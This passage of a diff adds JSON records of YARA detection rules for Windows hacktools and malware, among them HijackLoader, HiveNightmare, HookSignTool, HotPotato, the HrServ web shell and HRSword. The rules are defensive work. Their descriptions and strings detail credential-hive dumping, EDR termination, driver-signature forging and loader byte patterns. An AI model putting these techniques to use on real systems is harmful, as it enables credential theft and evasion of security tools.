$GUI_text00 = \"启用保护\"           // Enable Protection\n        $GUI_text01 = \"暂停保护\"           // Protection Suspended\n        $GUI_text02 = \"结束保护\"           // Terminate Protection\n        $GUI_text03 = \"保护已启用\"         // Protection Enabled\n        $GUI_text04 = \"保护已暂停\"         // Protection has been suspended\n        $GUI_text05 = \"保护已结束\"         // Protection has ended\n        $GUI_text06 = \"键部署\"            // key deployment\n        $GUI_text07 = \"卸载插件\"          // Uninstall plugin\n        $GUI_text08 = \"解锁全部\"          // Unlock all\n\n    condition:\n        3 of ($GUI_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hijackdrivermanager_hacktool"
+  ],
+  "rule_creation_date": "2025-09-02",
+  "rule_modified_date": "2025-10-23",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.HijackDriverManager"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1562"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hijackloader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572918Z",
+  "creation_date": "2026-03-23T11:46:25.572921Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572929Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/012/\nhttps://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader\nhttps://www.zscaler.com/blogs/security-research/hijackloader-updates\nhttps://www.crowdstrike.com/blog/hijackloader-expands-techniques/"
+  ],
+  "name": "hijackloader.yar",
+  "content": "rule hijackloader {\n    meta:\n        title = \"HijackLoader\"\n        id = \"651ed25e-4160-4a2e-9e25-490fc31cbbbe\"\n        description = \"Detects the HijackLoader.\\nHijackLoader is a defense evasion oriented loader that usesDLL sideloading and a custom variant of process hollowing to evade detection. It is designed to drop various payloads, typically stealers, onto the infected system.\\nIt is recommended to analyze the process's memory for potential payloads.\"\n        references = \"https://attack.mitre.org/techniques/T1055/012/\\nhttps://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader\\nhttps://www.zscaler.com/blogs/security-research/hijackloader-updates\\nhttps://www.crowdstrike.com/blog/hijackloader-expands-techniques/\"\n        date = \"2024-09-13\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.012\"\n        classification = \"Windows.Loader.HijackLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b8582c06725263925cfc01a420eee9914a62d83605b2dc800ae5b7c46e03fb4d\n        // fc9a6be2dd23a64f5b3201e43ff8c0edb4852ba1d716bda4c6c557286cb2e658\n\n        $stub00_find_dll_base_addr = {\n            // find base dll address\n            64 ?? 30 00 00 00       // mov     eax, dword [fs:0x30]\n            56                      // push    esi {__saved_esi}\n            57                      // push    edi {__saved_edi}\n            8b ?? 0c                // mov     edi, dword [eax+0xc {_PEB::Ldr}]\n            83 ?? 0c                // add     edi, 0xc {_PEB_LDR_DATA::InLoadOrderModuleList}\n            8b ??                   // mov     esi, dword [edi {_PEB_LDR_DATA::InLoadOrderModuleList.Flink}]\n            eb                      // jmp     0x10003076\n        }\n\n        $stub_01_multiply_dll_name = {\n            // multiply by 3 the results of the computed letters of the dll name\n            e8 [1-6]             // call    sub_100030b5\n            (6b|69) ?? 03        // imul    eax, eax, 0x3\n            59                   // pop     ecx {var_2c4_5}\n            39 [1-4] 0c          // cmp     dword [esp+0xc {var_2b4}], eax\n            74                   // je      0x1000307f\n        }\n\n        $stub02_lower_case_dll_name = {\n            // lower case the dll name\n            8b [1-3] 04           // mov     eax, dword [esp+0x4 {arg1}]\n            6a 41                 // push    0x41 {var_4}\n            5a                    // pop     edx {var_4}  {0x41}\n            0f b7 c8              // movzx   ecx, ax\n            66 3b d0              // cmp     dx, ax\n            77 0c                 // ja      0x100030b1\n            66 [1-3] 5a           // cmp     ax, 0x5a\n            77 ??                 // ja      0x100030b1\n            83 ?? 20              // add     eax, 0x20\n            0f b7               // movzx   ecx, ax\n        }\n\n        $stub03_compute_dll_name = {\n            // function that compute dll name letters\n            53                    // push    ebx {__saved_ebx}\n            8b [1-3] 08           // mov     ebx, dword [esp+0x8 {dll_name}]\n            56                    // push    esi {__saved_esi}\n            33 f6                 // xor     esi, esi\n            57                    // push    edi {__saved_edi}\n            0f b7 ??              // movzx   eax, word [ebx]\n            8b fe                 // mov     edi, esi  {0x0}\n            eb ??                 // jmp     0x100030d6\n            50                    // push    eax {var_10_1}\n            e8 [1-6]              // call    lowercase_char\n            59                    // pop     ecx {var_10}\n            0f b7 ??              // movzx   ecx, ax\n            03 f1                 // add     esi, ecx\n            47                    // inc     edi\n            0f b7  [1-3]           // movzx   eax, word [ebx+edi*2]\n            66 85 c0              // test    ax, ax\n            75 ??                 // jne     0x100030c5\n            5f                    // pop     edi {__saved_edi}\n            8b c6                 // mov     eax, esi\n            5e                    // pop     esi {__saved_esi}\n            5b                    // pop     ebx {__saved_ebx}\n            c3                    // retn     {__return_addr}\n        }\n\n        $stub04_api_hashing_variant = {\n            0f af ca            // imul    ecx, edx\n            0f b6 1e            // movzx   ebx, byte [esi]\n            01 d9               // add     ecx, ebx\n            46                  // inc     esi\n            4d                  // dec     ebp\n            75                  // jne     0x10007790\n        }\n\n        $stub05_api_hashing_return_address = {\n            8b 0c 24            // mov     ecx, dword [esp {var_20_1}]\n            0f b7 0c 79         // movzx   ecx, word [ecx+edi*2]\n            8b 54 24 04         // mov     edx, dword [esp+0x4 {var_1c_1}]\n            03 04 8a            // add     eax, dword [edx+ecx*4]\n        }\n\n        $stub_06_compute_name_dll = {\n            0f b7 c8              // movzx   ecx, ax\n            03 f1                 // add     esi, ecx\n            47                    // inc     edi\n            0f b7 04 7b           // movzx   eax, word [ebx+edi*2]\n            66 85 c0              // test    ax, ax\n            75 ??                 // jne     0x20403ae4\n            5f                    // pop     edi {__saved_edi}\n            8b c6                 // mov     eax, esi\n            5e                    // pop     esi {__saved_esi}\n            5b                    // pop     ebx {__saved_ebx}\n        }\n\n        $stub_07_compute_name_dll = {\n            66 83 f9 19           // cmp     cx, 0x19\n            77 06                 // ja      0x40647e\n            83 c0 20              // add     eax, 0x20\n            0f b7 d0              // movzx   edx, ax\n            46                    // inc     esi\n            0f b7 c2              // movzx   eax, dx\n            03 f8                 // add     edi, eax\n            0f b7 04 73           // movzx   eax, word [ebx+esi*2]\n            66 85 c0              // test    ax, ax\n            75                    // jne     0x40646a\n        }\n\n    condition:\n        2 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hijackloader"
+  ],
+  "rule_creation_date": "2024-09-13",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.HijackLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hivenightmare_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588406Z",
+  "creation_date": "2026-03-23T11:46:25.588408Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588414Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GossiTheDog/HiveNightmare"
+  ],
+  "name": "hivenightmare.yar",
+  "content": "rule hivenightmare {\n    meta:\n        title = \"HiveNightmare Hacktool\"\n        id = \"055e4187-23a3-4f4b-9e77-9e1620a2e48e\"\n        description = \"Detects HiveNightmare, a tool that exploits the CVE-2021-36934 vulnerability.\\nHiveNightmare is a tool designed to exploit a vulnerability in Windows, allowing attackers to dump sensitive registry hives without requiring administrative privileges. This tool enables unauthorized access to critical system information, specifically targeting the SAM, SECURITY, and SYSTEM registry hives, which contain sensitive user credentials and system information.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/GossiTheDog/HiveNightmare\"\n        date = \"2021-07-26\"\n        modified = \"2025-03-17\"\n        tags = \"cve.2021-36934;attack.credential_access;attack.t1552.001\"\n        author = \"HarfangLab\"\n        classification = \"Windows.HackTool.HiveNightmare\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $clear_string_marker_pdb = \"HiveNightmare.pdb\" ascii\n        $clear_string_marker_usage = \"Usage: HiveNightmare.exe [max shadows to look at (default 15)]\" ascii\n        $clear_string_marker_base_shadow_path = \"\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\" wide\n        $clear_string_marker_sam_path = \"Windows\\\\System32\\\\config\\\\SAM\" wide\n        $clear_string_marker_security_path = \"Windows\\\\System32\\\\config\\\\SECURITY\" wide\n        $clear_string_marker_system_path = \"Windows\\\\System32\\\\config\\\\SYSTEM\" wide\n        $clear_string_marker_description_part1 = \"HiveNightmare v\" wide\n        $clear_string_marker_description_part2 = \"dump registry hives as non-admin users\" wide\n        $clear_string_marker_error_open_sam = \"Could not open SAM :( Is System Protection not enabled or vulnerability fixed?\" ascii\n        $clear_string_marker_error_open_security = \"Could not open SECURITY :( Is System Protection not enabled or vulnerability fixed?\" ascii\n        $clear_string_marker_error_open_system = \"Could not open SYSTEM :( Is System Protection not enabled or vulnerability fixed?\" ascii\n\n    condition:\n        filesize < 300KB and 5 of ($clear_string_marker_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hivenightmare"
+  ],
+  "rule_creation_date": "2021-07-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.HiveNightmare"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hooksigntool_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571410Z",
+  "creation_date": "2026-03-23T11:46:25.571413Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571418Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/old-certificate-new-signature/\nhttps://github.com/Jemmy1228/HookSigntool"
+  ],
+  "name": "hooksigntool.yar",
+  "content": "import \"pe\"\n\nrule hooksigntool {\n    meta:\n        title = \"Binary Signed via HookSignTool\"\n        id = \"1cc534e2-0303-4fa9-a9c5-f45fa7e45621\"\n        description = \"Detects binaries signed via HookSignTool.\\nHookSignTool is a driver signature forging tool that manipulates the signing date of a driver by hooking Windows API calls and modifying the import table of a legitimate code signing tool. This technique requires the use of a non-revoked code signing certificate issued before July 29, 2015, along with its private key and password. Attackers can leverage this tool to sign malicious drivers using older, leaked certificates, potentially leading to privilege escalation.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://blog.talosintelligence.com/old-certificate-new-signature/\\nhttps://github.com/Jemmy1228/HookSigntool\"\n        date = \"2023-07-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1553.002\"\n        classification = \"Windows.HackTool.HookSignTool\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3b64b4e2ba27ca361752fa52df1e70a64e59e7fe40a34441d87e9fb61ea8c70e\n        // 0db87b96b23af06f42e160a041e8e07fb56555585bbb93c15a8e59336bebca64\n\n        // Fake TimeStamp Responder\n        $certificate_fake_serial = {\n            02 10 1e b1 32 d5 7e 79 68 96 0d f2 6e 85 4e b0    // 1e:b1:32:d5:7e:79:68:96:0d:f2:6e:85:4e:b0:dd:a6\n            dd a6 30\n        }\n        // JemmyLoveJenny SHA1 TimeStamping Services CA\n        $certificate_fake_issuer = {\n            0c 2c 4a 65 6d 6d 79 4c 6f 76 65 4a 65 6e 6e 79\n            20 53 48 41 31 20 54 69 6d 65 53 74 61 6d 70 69\n            6e 67 20 53 65 72 76 69 63 65 73 20 43 41 30\n        }\n\n        // JemmyLoveJenny EV Root CA\n        $certificate_jemmy_serial = { 02 04 1e b1 32 d5 30 }                            // 1e:b1:32:d5\n        // JemmyLoveJenny EV Root CA\n        $certificate_jemmy_issuer = {\n            0c 19 4a 65 6d 6d 79 4c 6f 76 65 4a 65 6e 6e 79\n            20 45 56 20 52 6f 6f 74 20 43 41 30\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and\n            (\n                (\n                    uint16be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+8) == 0x3082 or\n                    uint16be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+8) == 0x3083\n                )\n                and\n                (\n                    (\n                        $certificate_fake_serial in (pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address..filesize) and\n                        $certificate_fake_issuer in (pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address..filesize)\n                    )\n                    or\n                    (\n                        $certificate_jemmy_serial in (pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address..filesize) and\n                        $certificate_jemmy_issuer in (pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address..filesize)\n                    )\n                )\n            )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hooksigntool"
+  ],
+  "rule_creation_date": "2023-07-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.HookSignTool"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hotpotato_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576184Z",
+  "creation_date": "2026-03-23T11:46:25.576186Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576192Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://foxglovesecurity.com/2016/01/16/hot-potato/\nhttps://github.com/foxglovesec/Potato/\nhttps://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "hotpotato.yar",
+  "content": "rule hotpotato {\n    meta:\n        title = \"HotPotato HackTool\"\n        id = \"231b5d58-098a-4947-a133-59c26cca8264\"\n        description = \"Detects the HotPotato HackTool.\\nHotPotato is a privilege escalation tool that leverages wpad server spoofing and NTLM relay to achieve local privilege escalation. It creates a malicious wpad.dat file to intercept and manipulate DNS queries, and can also establish SMB relays for further attacks. The tool is known to use various techniques including DNS hijacking and UDP port exhaustion to bypass Windows security mechanisms.\"\n        references = \"https://foxglovesecurity.com/2016/01/16/hot-potato/\\nhttps://github.com/foxglovesec/Potato/\\nhttps://attack.mitre.org/techniques/T1068/\"\n        date = \"2024-02-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.HotPotato\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 7e21c5b9cf9cb3cc0b3c6909fdf3a7820c6feaa45e86722ed4e7a43d39aee819\n\n        $s1 = \"http://127.0.0.1/wpad.dat\" wide fullword\n        $s2 = \"function FindProxyForURL(url,host){if (dnsDomainIs(host, \\\"localhost\\\")) return \\\"DIRECT\\\";\" wide fullword\n        $s3 = \"Setting up SMB relay...\" wide fullword\n        $s4 = \"Spoofing wpad...\" wide fullword\n        $s5 = \"[\\\\pipe\\\\svcctl]\" wide fullword\n        $s6 = \"Exhausting UDP source ports so DNS lookups will fail...\" wide fullword\n        $s7 = \"/C schtasks.exe /Create /TN omg /TR  \\\\\\\\127.0.0.1@\" wide fullword\n        $s8 = \"DNS lookup succeeds - UDP Exhaustion failed!\" wide fullword\n        $s9 = \"DNS lookup fails - UDP Exhaustion worked!\" wide fullword\n\n    condition:\n        3 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hotpotato"
+  ],
+  "rule_creation_date": "2024-02-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.HotPotato"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hrserv_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569646Z",
+  "creation_date": "2026-03-23T11:46:25.569648Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569653Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/hrserv-apt-web-shell/111119/"
+  ],
+  "name": "hrserv.yar",
+  "content": "rule hrserv {\n    meta:\n        title = \"HrServ Web Shell\"\n        id = \"9b72a218-4910-4fbd-8421-6c3561963d73\"\n        description = \"Detects the HrServ web shell.\\nHrServ is a DLL file identified in APT attacks, functioning as a web shell with advanced features. It uses custom encoding for client communication and executes in memory to avoid detection and persistence. This web shell allows attackers to maintain control over the infected system, making it a sophisticated tool for malicious activities.\\nIt is recommended to dump the affected process and investigate network traffic for potential command and control (C2) communication.\"\n        references = \"https://securelist.com/hrserv-apt-web-shell/111119/\"\n        date = \"2023-11-23\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1505.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.HrServ\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f38517692ab3e817182a396a407d9fe1c260c89bb6b733764737562f235115f0\n\n        $f1 = \"RegisterServiceCtrlHandlerW\" fullword ascii\n        $f2 = \"SetServiceStatus\" fullword ascii\n        $f3 = \"HttpInitialize\" fullword ascii\n        $f4 = \"HttpCreateHttpHandle\" fullword ascii\n        $f5 = \"HttpAddUrl\" fullword ascii\n\n        $url1 = \"https://+:443/owa/MSExchangeService.svc\" fullword wide\n        $url2 = \"http://+:80/FC4B97EB-2965-4A3B-8BAD-B8172DE25520/\" fullword wide\n\n        $s1 = \"--> Set the Response to 404\" fullword wide\n        $s2 = \"HttpSendHttpResponse failed with %lu\" fullword wide\n        $s3 = \"[!] Try again please!\" fullword wide\n        $s4 = \"The Moudule will be re-installed again.\" fullword wide\n        $s5 = \"The Module will be re-installed again.\" fullword wide\n\n        // FNV1A64 hashing algorithms\n        $fnv1 = { 48 ?? 25 23 22 84 E4 9C F2 CB } // mov     rdx, 0CBF29CE484222325h\n        $fnv2 = { 49 ?? B3 01 00 00 00 01 00 00 } // mov     r9, 100000001B3h\n\n    condition:\n        all of ($f*) and\n        all of ($fnv*) and\n        (\n            (1 of ($url*) and 1 of ($s*)) or\n            (2 of ($s*))\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hrserv"
+  ],
+  "rule_creation_date": "2023-11-23",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.HrServ"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1505.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hrsword_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584854Z",
+  "creation_date": "2026-03-23T11:46:25.584856Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584862Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/jxd_io/status/1429478992982204416\nhttps://www.52pojie.cn/thread-1358235-1-1.html\nhttps://github.com/szdyg/HRSword\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "hrsword.yar",
+  "content": "rule hrsword {\n    meta:\n        title = \"HRSword Tool\"\n        id = \"e977f17a-dcdc-45eb-8189-beadd7a10e26\"\n        description = \"Detects the HRSword tool, a legitimate AV executable extracted from the original software.\\nHRSword is a legitimate diagnostic tool that, when paired with its driver, can be used to terminate protected processes such as AV/EDR agents. This functionality has been exploited by ransomware operators like Lockbit and Ragnarok, as well as APT groups such as Camaro Dragon, to bypass security measures.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://twitter.com/jxd_io/status/1429478992982204416\\nhttps://www.52pojie.cn/thread-1358235-1-1.html\\nhttps://github.com/szdyg/HRSword\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2023-11-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562\"\n        classification = \"Windows.Tool.HRSword\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b44dd12179a15a7d89c18444d36e8d70b51d30c7989d3ab71330061401f731fe\n\n        $str1 = \"Really KILL this process?_TID: %d\" wide\n        $str2 = \"Hide Non-Commited Regions\u001bHide Non-Executable Regions\u0016Hide In-Module Regions\" wide\n        $str3 = \"Dump Strings from Memory\" wide\n        $str4 = \"Huorong System Diagnostics Toolkit\" wide\n        $sig1 = \"HuoRongBoRui (Beijing) Technology\" ascii\n        $sig2 = \"Beijing Huorong Network Technology\" ascii\n        $sig3 = \"BaseTruck Security\" ascii\n\n    condition:\n        uint16(0) == 0x5a4d and all of ($str*) and 1 of ($sig*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hrsword"
+  ],
+  "rule_creation_date": "2023-11-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.HRSword"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hyperbro_backdoor_stage3_november_2021_campaign_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574736Z",
+  "creation_date": "2026-03-23T11:46:25.574738Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
